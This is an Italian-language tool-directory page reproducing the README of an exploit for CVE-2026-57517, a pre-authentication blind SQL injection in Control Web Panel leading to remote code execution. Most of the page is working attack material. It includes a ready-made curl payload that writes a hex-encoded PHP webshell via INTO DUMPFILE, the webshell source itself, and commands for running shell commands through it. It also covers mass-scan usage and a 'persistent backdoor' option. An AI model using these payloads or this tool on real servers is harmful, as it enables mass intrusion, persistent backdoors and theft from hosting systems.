Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-57517 — 💉 Blind SQL Injection → RCE exploit per Control Web Panel (CWP) ≤ 0.9.8.1224 — userRes POST → INTO DUMPFILE → shell cwpsvc | Kitploit
Strumenti/GitHubGitHub/shinthink/cve-2026-57517
Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingStrumento di Accesso RemotoSviluppo Payload
GitHubshinthink/cve-2026-57517

CVE-2026-57517

💉 Blind SQL Injection → RCE exploit per Control Web Panel (CWP) ≤ 0.9.8.1224 — userRes POST → INTO DUMPFILE → shell cwpsvc

Vedi Repository
1192 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-57517 — Blind SQLi su Control Web Panel → RCE

Python CVE CVSS License

Control Web Panel ≤ 0.9.8.1224 — Da Blind SQL Injection a esecuzione di codice remoto

Porta 2083 → POST userRes → INTO DUMPFILE → Porta 2031 Webshell → cwpsvc



🔴 Panoramica della vulnerabilità

CVE-2026-57517 è una grave blind SQL injection pre-autenticazione in Control Web Panel (CWP) versioni ≤ 0.9.8.1224. Il parametro POST userRes dell'endpoint del pannello utente non viene sanitizzato prima di essere incorporato in una query SQL. Le query vengono eseguite con privilegi root di MySQL — che detiene il privilegio globale FILE — consentendo agli attaccanti di scrivere file arbitrari tramite INTO DUMPFILE.

La tipica catena di sfruttamento posiziona una webshell PHP nella directory dei log di Roundcube accessibile via web, ottenendo l'esecuzione di codice remoto come account di servizio cwpsvc.

CampoDettaglio
CVECVE-2026-57517
CVSS9.8 (Critico) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
TipoCWE-89 — Blind SQL Injection (Pre-autenticazione)
Versioni interessateControl Web Panel ≤ 0.9.8.1224
Corretta inVersione 0.9.8.1225
Divulgazione1 luglio 2026
RicercatoreEgidio Romano (Karma In Security)
PoCPubblico — KIS-2026-12

📦 Installazione

git clone https://github.com/shinthink/CVE-2026-57517.git
cd CVE-2026-57517
pip install -r requirements.txt

📖 Utilizzo

# Single target (auto-detect username)
python cve_2026_57517.py -t 192.168.1.100

# Single target with known username
python cve_2026_57517.py -t 192.168.1.100 -u cwpsvc

# Mass scan
python cve_2026_57517.py -f targets.txt -o live.txt

# Interactive shell
python cve_2026_57517.py -t target.com --rce -u cwpsvc

# Persistent backdoor (no auto-cleanup)
python cve_2026_57517.py -t target.com --no-cleanup
  -t, --target      Single target host
  -f, --file        File with targets (one per line)
  -u, --username    CWP username (skips auto-detection)
  -o, --output      Live TXT output file
  --json            JSON report file
  --threads         Concurrent workers (default: 20)
  --timeout         Request timeout seconds (default: 15)
  --no-cleanup      Leave shells on target
  --rce             Interactive shell mode
  -v, --verbose     Verbose output

🧪 Prova di concetto

Scenario 1: Scansione di massa

$ python cve_2026_57517.py -f targets.txt -o live.txt -v
────────────────────────────────────────────────────────────
  CVE-2026-57517 | 5 targets | 20 threads
  Cleanup: yes
  Live TXT: live.txt
────────────────────────────────────────────────────────────

  ✅ 192.168.10.100:2083  [rce_confirmed]  18.2s
     User  : admin
     Shell : https://192.168.10.100:2031/roundcube/logs/cwp_a3f2b9c1d8e4.php
     RCE   : uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
             cwp-prod-01.example.com
     whoami: cwpsvc

  ⚠️ 192.168.10.200:2083  [sqli_failed]  12.1s
     User  : cwpsvc
     Error : SQL injection failed — target may be patched or path not writable

  · 192.168.10.50:2083  [not_cwp]  2.3s

==================================================
  SCAN SUMMARY
==================================================
  Total      : 5
  ✅ RCE      : 2
  ⚠️  SQLi Fail : 1
  🔍 No User  : 1
  ·  Not CWP  : 1
==================================================

Scenario 2: Shell interattiva

$ python cve_2026_57517.py -t target.com --rce -u admin
  CWP Interactive Shell — target.com
  Type 'exit' to quit, 'cleanup' to remove shell

cwp$ id
uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)

cwp$ hostname
cwp-prod-01

cwp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
cwpsvc:x:1001:1001::/home/cwpsvc:/bin/bash

cwp$ exit

Scenario 3: Riproduzione manuale (curl)

Passaggio 1 — Verifica che CWP sia raggiungibile sulla porta 2083

curl -sk 'https://target.com:2083/' | grep -i 'control web panel\|CWP'

Passaggio 2 — Valida il nome utente

curl -sk -o /dev/null -w "%{http_code}" 'https://target.com:2083/admin/'
# 200 = user exists

Passaggio 3 — SQL injection tramite userRes

Il payload utilizza una UNION SELECT a 13 colonne con una shell PHP codificata in esadecimale scritta tramite INTO DUMPFILE:

" UNION SELECT 1,0x{HEX_PHP_SHELL},3,4,5,6,7,8,9,10,11,12,13
INTO DUMPFILE '/usr/local/cwpsrv/var/services/roundcube/logs/shell.php' #
# The tool handles hex encoding automatically. Manual equivalent:
PAYLOAD='" UNION SELECT 1,0x3c3f706870206576616c286261736536345f6465636f646528245f5345525645525b22485454505f43225d29293b203f3e,3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE '\''/usr/local/cwpsrv/var/services/roundcube/logs/shell.php'\'' #'

curl -sk 'https://target.com:2083/admin/' \
  -d "userRes=$PAYLOAD"

Passaggio 4 — Esegui i comandi tramite webshell (porta 2031)

La shell PHP distribuita legge i comandi dall'header HTTP C::

<?php eval(base64_decode($_SERVER['HTTP_C'])); ?>
# Base64-encode: print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';
PHP=$(echo "print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';" | base64 -w0)

curl -sk 'https://target.com:2031/roundcube/logs/shell.php' -H "C: $PHP"
# uid=1001(cwpsvc) gid=1001(cwpsvc)

Scomposizione del payload

ComponenteValore
Colonne SQLUNION SELECT a 13 colonne
Shell PHP<?php eval(base64_decode($_SERVER['HTTP_C'])); ?>
Codifica esadecimaleLetterale esadecimale 0x... di MySQL
Metodo di scritturaINTO DUMPFILE (scrittura file binaria esatta)
Percorso di destinazione/usr/local/cwpsrv/var/services/roundcube/logs/{uniqid}.php
Consegna dei comandiHeader HTTP C: con PHP codificato in base64
Esecutore dei comandipassthru(base64_decode('{cmd}'))

⚠️ Disclaimer

Scarica lo strumento